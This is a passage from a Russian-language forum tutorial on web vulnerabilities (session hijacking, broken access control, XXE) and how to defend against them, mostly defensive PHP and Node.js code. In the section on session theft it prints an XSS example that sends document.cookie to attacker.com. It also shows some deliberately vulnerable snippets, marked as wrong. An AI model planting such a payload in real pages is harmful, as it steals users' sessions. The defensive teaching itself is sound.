<p dir="auto">Используйте специализированные библиотеки для работы с XML:</p>
<ul>
<li><strong>defusedxml</strong> (Python)</li>
<li><strong>xml2js</strong> (Node.js) с правильной конфигурацией</li>
<li><strong>OWASP ESAPI</strong> (Java, .NET)</li>
</ul>
<hr />
<h2>6. Broken Authentication и Session Hijacking</h2>
<h3>Что это такое</h3>
<p dir="auto"><strong>Broken Authentication</strong> — это класс уязвимостей, связанных с неправильной реализацией аутентификации и управления сессиями.</p>
<p dir="auto"><strong>Session Hijacking</strong> — это атака, при которой злоумышленник крадёт Session ID и выдаёт себя за другого пользователя.</p>
<h3>Как это работает</h3>
<p dir="auto"><strong>Сценарий атаки:</strong></p>
<ol>
<li>Пользователь логинится на сайте</li>
<li>Сервер генерирует Session ID (например: <code>abc123def456</code>) и отправляет его в cookie</li>
<li>Браузер пользователя отправляет эту cookie со всеми запросами</li>
<li>Злоумышленник каким-то образом получает этот Session ID</li>
<li>Злоумышленник подставляет украденный Session ID в своём браузере</li>
<li>Сервер считает, что это авторизованный пользователь</li>
</ol>
<p dir="auto"><strong>Как можно украсть Session ID:</strong></p>
<ol>
<li>
<p dir="auto"><strong>Открытая Wi-Fi</strong> — если сайт использует HTTP вместо HTTPS, трафик передаётся в открытом виде. Хакер с помощью сниффера (tcpdump, Wireshark) перехватывает cookies.</p>
</li>
<li>
<p dir="auto"><strong>XSS-атака</strong> — вредоносный скрипт читает cookies:</p>
</li>
</ol>
<pre><code class="language-javascript">fetch('https://attacker.com/steal?cookies=' + document.cookie);
</code></pre>
<ol start="3">
<li>
<p dir="auto"><strong>Небезопасное хранилище</strong> — если Session ID хранится в localStorage в открытом виде, XSS может его украсть.</p>
</li>
<li>
<p dir="auto"><strong>Predictable Session ID</strong> — если Session ID легко угадать (например, просто номер, который увеличивается), атакующий может перебрать ID всех пользователей.</p>
</li>
</ol>
<h3>Защита</h3>
<h4>6.1 Используйте HTTPS</h4>
<p dir="auto"><strong>HTTPS шифрует</strong> весь трафик между браузером и сервером. Session ID передаётся в зашифрованном виде и не может быть перехвачен по открытой Wi-Fi.</p>
<pre><code class="language-php">// Принудительно редиректим на HTTPS
if (empty($_SERVER['HTTPS']) || $_SERVER['HTTPS'] === "off") {
    $url = "https://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    header("Location: $url");
    exit;
}
</code></pre>
<h4>6.2 HttpOnly флаг для cookies</h4>
<p dir="auto">Флаг <code>HttpOnly</code> запрещает JavaScript доступ к cookie:</p>
<pre><code class="language-php">setcookie('session_id', $value, [
    'expires' =&gt; time() + 3600,
    'path' =&gt; '/',
    'domain' =&gt; 'example.com',
    'secure' =&gt; true,      // Только HTTPS
    'httponly' =&gt; true,    // Недоступна для JavaScript
    'samesite' =&gt; 'Lax'    // Защита от CSRF
]);
</code></pre>
<p dir="auto">Теперь даже если на сайте есть XSS, скрипт не сможет прочитать session cookie.</p>
<h4>6.3 Генерируйте криптографически стойкие Session ID</h4>
<p dir="auto"><strong><img src="https://forum.exlends.ru/assets/plugins/nodebb-plugin-emoji/emoji/android/274c.png?v=a1e94250dac" class="not-responsive emoji emoji-android emoji--x" style="height:23px;width:auto;vertical-align:middle" title="❌" alt="❌" /> СЛАБО:</strong></p>
<pre><code class="language-php">$session_id = rand(1, 1000000); // Легко угадать
</code></pre>
<p dir="auto"><strong><img src="https://forum.exlends.ru/assets/plugins/nodebb-plugin-emoji/emoji/android/2705.png?v=a1e94250dac" class="not-responsive emoji emoji-android emoji--white_check_mark" style="height:23px;width:auto;vertical-align:middle" title="✅" alt="✅" /> ПРАВИЛЬНО:</strong></p>
<pre><code class="language-php">$session_id = bin2hex(random_bytes(32)); // 64 символа, криптографически стойкий
</code></pre>
<h4>6.4 Используйте встроенные функции</h4>
<p dir="auto">Большинство фреймворков имеют встроенное управление сессиями:</p>
<p dir="auto"><strong>На PHP:</strong></p>
<pre><code class="language-php">session_start();
$_SESSION['user_id'] = $user_id;
// Session ID генерируется автоматически и безопасно
</code></pre>
<p dir="auto"><strong>На Node.js (Express + express-session):</strong></p>
<pre><code class="language-javascript">const session = require('express-session');

app.use(session({
    secret: process.env.SESSION_SECRET, // Сильный секрет
    resave: false,
    saveUninitialized: true,
    cookie: {
        secure: true,    // Только HTTPS
        httpOnly: true,  // Недоступна для JS
        sameSite: 'Lax'
    }
}));
</code></pre>
<h4>6.5 Регенерируйте Session ID при логине</h4>
<p dir="auto">Если Session ID не меняется при входе, атакующий может использовать угаданный ID для входа, если он был сгенерирован до аутентификации.</p>
<pre><code class="language-php">session_start();

// Проверяем пароль...
if ($password_correct) {
    session_regenerate_id(true); // Меняем Session ID
    $_SESSION['user_id'] = $user_id;
}
</code></pre>
<h4>6.6 Добавляйте дополнительные проверки</h4>
<p dir="auto">Храните дополнительную информацию о сессии и проверяйте её:</p>
<pre><code class="language-php">session_start();

// При создании сессии
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR'];

// При каждом запросе
if ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT'] ||
    $_SESSION['ip_address'] !== $_SERVER['REMOTE_ADDR']) {
    session_destroy();
    die('Session tampering detected');
}
</code></pre>
<p dir="auto">Если IP или User Agent изменился, это подозрительно. Злоумышленник использует сессию с другого компьютера/браузера.</p>
<hr />
<h2>7. Broken Access Control — нарушенный контроль доступа</h2>
<h3>Что это такое</h3>
<p dir="auto"><strong>Broken Access Control</strong> возникает, когда приложение не проверяет, имеет ли пользователь право на доступ к ресурсу.</p>
<h3>Как это работает</h3>
<p dir="auto"><strong>Пример 1: Прямой доступ к объектам (IDOR)</strong></p>
<p dir="auto">Приложение имеет API для получения счёта пользователя:</p>
<pre><code>GET /api/account/123
</code></pre>
<p dir="auto">Сервер возвращает данные счёта пользователя с ID 123. Но приложение не проверяет, принадлежит ли этот счёт текущему пользователю!</p>
<p dir="auto">Злоумышленник может просто изменить ID:</p>
<pre><code>GET /api/account/456
GET /api/account/789
</code></pre>
<p dir="auto">И получить доступ к чужим счетам.</p>
<p dir="auto"><strong>Пример 2: Отсутствие проверки прав</strong></p>
<p dir="auto">Панель администратора находится по адресу <code>/admin</code>. Приложение просто проверяет, авторизован ли пользователь, но не проверяет, является ли он администратором:</p>
<pre><code class="language-php">if (!isset($_SESSION['user_id'])) {
    die('Not authorized');
}
// Дальше выводим админ-панель...
</code></pre>
<p dir="auto">Обычный пользователь может просто открыть <code>/admin</code> и получить доступ.</p>
<h3>Защита</h3>
<h4>7.1 Всегда проверяйте права доступа</h4>
<pre><code class="language-php">// ❌ НЕПРАВИЛЬНО
function getAccount($account_id) {
    $result = $db-&gt;query("SELECT * FROM accounts WHERE id = ?", [$account_id]);
    return $result;
}

// ✅ ПРАВИЛЬНО
function getAccount($account_id, $user_id) {
    $result = $db-&gt;query(
        "SELECT * FROM accounts WHERE id = ? AND user_id = ?",
        [$account_id, $user_id]
    );
    if (!$result) {
        throw new Exception('Access denied');
    }
    return $result;
}
</code></pre>
<h4>7.2 Используйте роли и разрешения</h4>
<p dir="auto">Создайте систему ролей:</p>
<pre><code class="language-php">$user_roles = $db-&gt;query("SELECT role FROM user_roles WHERE user_id = ?", [$user_id]);

function canAccess($resource, $user_id) {
    $roles = $db-&gt;query("SELECT role FROM user_roles WHERE user_id = ?", [$user_id]);
    
    foreach ($roles as $role) {
        $permissions = $db-&gt;query(
            "SELECT permission FROM role_permissions WHERE role = ?",
            [$role['role'&rsqb;&rsqb;
        );
        
        foreach ($permissions as $perm) {
            if ($perm['permission'] === $resource) {
                return true;
            }
        }
    }
    return false;
}

// Использование
if (!canAccess('/admin', $user_id)) {
    die('Access denied');
}
</code></pre>
<h4>7.3 Используйте middleware для проверки прав</h4>
<p dir="auto"><strong>На Node.js/Express:</strong></p>
<pre><code class="language-javascript">function requireAdmin(req, res, next) {
    if (req.user &amp;&amp; req.user.role === 'admin') {
        next();
    } else {
        res.status(403).send('Access denied');
    }
}

app.get('/admin', requireAdmin, (req, res) =&gt; {
    // Только администратор может сюда попасть
});
</code></pre>
<h4>7.4 Используйте принцип наименьших привилегий</h4>
<p dir="auto">По умолчанию <strong>запрещайте всё</strong>, потом явно разрешайте:</p>
<pre><code class="language-php">$permission = false;

if ($user['role'] === 'admin') {
    $permission = true;
} elseif ($user['role'] === 'moderator' &amp;&amp; $resource_type === 'comments') {
    $permission = true;
}

if (!$permission) {
    die('Access denied');
}
</code></pre>
<hr />
<h2>Общие принципы защиты</h2>
<p dir="auto">Эти рекомендации помогут защитить от большинства уязвимостей:</p>
<h3>1. Валидируйте ВСЕ входные данные</h3>
<pre><code class="language-php">// ✅ ХОРОШО
$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
if (!$email) {
    die('Invalid email');
}

$age = filter_var($_POST['age'], FILTER_VALIDATE_INT, [
    'options' =&gt; ['min_range' =&gt; 0, 'max_range' =&gt; 150]
]);
if ($age === false) {
    die('Invalid age');
}
</code></pre>
<h3>2. Экранируйте при выводе</h3>
<p dir="auto">Преобразуйте опасные символы перед выводом в HTML, JavaScript, SQL, и т.д.:</p>
<pre><code class="language-php">// ✅ В HTML
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

// ✅ В JavaScript (на сервере)
echo json_encode($data, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);

// ✅ В SQL (используйте параметризованные запросы)
$stmt = $db-&gt;prepare("SELECT * FROM users WHERE id = ?");
$stmt-&gt;execute([$user_id]);
</code></pre>
<h3>3. Используйте параметризованные запросы</h3>
<p dir="auto">Всегда передавайте данные отдельно от кода:</p>
<pre><code class="language-php">// ❌ ОПАСНО
$query = "SELECT * FROM users WHERE name = '$name'";

// ✅ ПРАВИЛЬНО
$stmt = $db-&gt;prepare("SELECT * FROM users WHERE name = ?");
$stmt-&gt;execute([$name]);
</code></pre>
<h3>4. Используйте HTTPS</h3>
<p dir="auto">Все критические данные должны передаваться в зашифрованном виде.</p>
<h3>5. Логируйте и мониторьте</h3>
<p dir="auto">Ведите логи всех операций, особенно связанных с аутентификацией и доступом к критичным ресурсам:</p>
<pre><code class="language-php">function log_access($user_id, $resource, $success) {
    $log = [
        'timestamp' =&gt; date('Y-m-d H:i:s'),
        'user_id' =&gt; $user_id,
        'resource' =&gt; $resource,
        'success' =&gt; $success,
        'ip' =&gt; $_SERVER['REMOTE_ADDR']
    ];
    
    file_put_contents('access.log', json_encode($log) . "\n", FILE_APPEND);
}
</code></pre>
<h3>6. Обновляйте зависимости</h3>
<p dir="auto">Используйте последние версии библиотек и фреймворков. Старые версии могут содержать известные уязвимости:</p>
<pre><code class="language-bash"># PHP
composer update

# Node.js
npm audit fix

# Python
pip install --upgrade package_name
</code></pre>
<h3>7. Регулярно тестируйте безопасность</h3>
<ul>
<li>Используйте инструменты для автоматического сканирования (OWASP ZAP, Burp Suite)</li>
<li>Проводите ревью кода</li>
<li>Выполняйте пентест регулярно</li>
</ul>
<hr />
<h2>Инструменты для тестирования</h2>
<h3>Для обнаружения уязвимостей:</h3>
<ol>
<li><strong>OWASP ZAP</strong> — бесплатный сканер для веб-приложений</li>
<li><strong>Burp Suite Community</strong> — профессиональный инструмент (платная версия)</li>
<li><strong>SQLMap</strong> — специализированный для SQL-инъекций</li>
<li><strong>Nikto</strong> — для сканирования веб-серверов</li>
</ol>
<h3>Для проверки кода:</h3>
<ol>
<li><strong>SonarQube</strong> — статический анализ кода</li>
<li><strong>Checkmarx</strong> — поиск уязвимостей в коде</li>
<li><strong>Semgrep</strong> — открытый инструмент для поиска паттернов уязвимостей</li>
</ol>
<h3>Для тестирования на проникновение:</h3>
<ol>
<li><strong>Metasploit</strong> — framework для пентеста</li>
<li><strong>Kali Linux</strong> — ОС со встроенными инструментами безопасности</li>
</ol>
<hr />
<h2>Заключение</h2>
<p dir="auto">Web-уязвимости — это серьёзная проблема, но с ними можно и нужно бороться. Ключевые моменты:</p>
<ul>
<li><strong>XSS</strong> — экранируйте данные, используйте CSP</li>
<li><strong>CSRF</strong> — используйте токены, SameSite cookies</li>
<li><strong>SQL Injection</strong> — используйте параметризованные запросы</li>
<li><strong>Path Traversal</strong> — валидируйте пути, используйте белый список</li>
<li><strong>XXE</strong> — отключайте внешние сущности</li>
<li><strong>Broken Auth</strong> — используйте HTTPS, HttpOnly cookies, криптографически стойкие Session ID</li>
<li><strong>Broken Access Control</strong> — всегда проверяйте права доступа</li>
</ul>
<p dir="auto">Помните: <strong>безопасность — это не одноразовое действие, а непрерывный процесс</strong>. Обновляйте код, тестируйте, учитесь на чужих ошибках.</p>
<p dir="auto">Успехов в разработке безопасных приложений!</p>
]]></description><link>https://forum.exlends.ru/topic/385/xss-csrf-i-drugie-web-uyazvimosti-kak-oni-rabotayut-i-kak-zashishatsya</link><generator>RSS for Node</generator><lastBuildDate>Sat, 17 Oct 2026 03:32:00 GMT</lastBuildDate><atom:link href="https://forum.exlends.ru/topic/385.rss" rel="self" type="application/rss+xml"/><pubDate>Fri, 09 Jan 2026 20:09:01 GMT</pubDate><ttl>60</ttl></channel></rss>